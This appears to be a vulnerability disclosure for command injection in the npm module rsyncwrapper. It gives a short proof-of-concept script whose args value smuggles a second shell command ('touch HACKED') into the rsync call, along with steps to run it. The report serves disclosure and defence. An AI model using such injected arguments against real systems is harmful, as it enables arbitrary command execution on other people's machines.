vulnerability remote code execution
severity 3.8
language javascript
registry npm


The rsyncwrapper module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var rsync = require('rsyncwrapper');
rsync({privateKey:'', src:'', dest:'', args:['test; touch HACKED; #']}, function(e){console.log(e)})

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i rsyncwrapper # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created